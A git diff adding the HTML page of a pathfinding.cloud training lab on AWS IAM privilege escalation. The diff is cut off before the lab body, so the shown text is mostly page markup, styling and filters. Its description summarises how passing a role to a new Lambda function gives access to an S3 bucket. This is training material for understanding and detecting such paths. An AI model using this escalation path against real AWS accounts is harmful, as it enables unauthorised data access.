+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/lambda-001-to-bucket/index.html b/docs/labs/lambda-001-to-bucket/index.html
new file mode 100644
index 00000000..0aee002e
--- /dev/null
+++ b/docs/labs/lambda-001-to-bucket/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Lambda Function Creation + Invocation to Bucket - pathfinding.cloud Labs</title>
+    <meta name="description" content="User with iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction can access an S3 bucket by creating a Lambda with the bucket-access role and invoking it to read the flag">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/lambda-001-to-bucket/">
+    <meta property="og:title" content="Lambda Function Creation + Invocation to Bucket - pathfinding.cloud Labs">
+    <meta property="og:description" content="User with iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction can access an S3 bucket by creating a Lambda with the bucket-access role and invoking it to read the flag">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Lambda Function Creation + Invocation to Bucket - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="User with iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction can access an S3 bucket by creating a Lambda with the bucket-access role and invoking it to read the flag">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
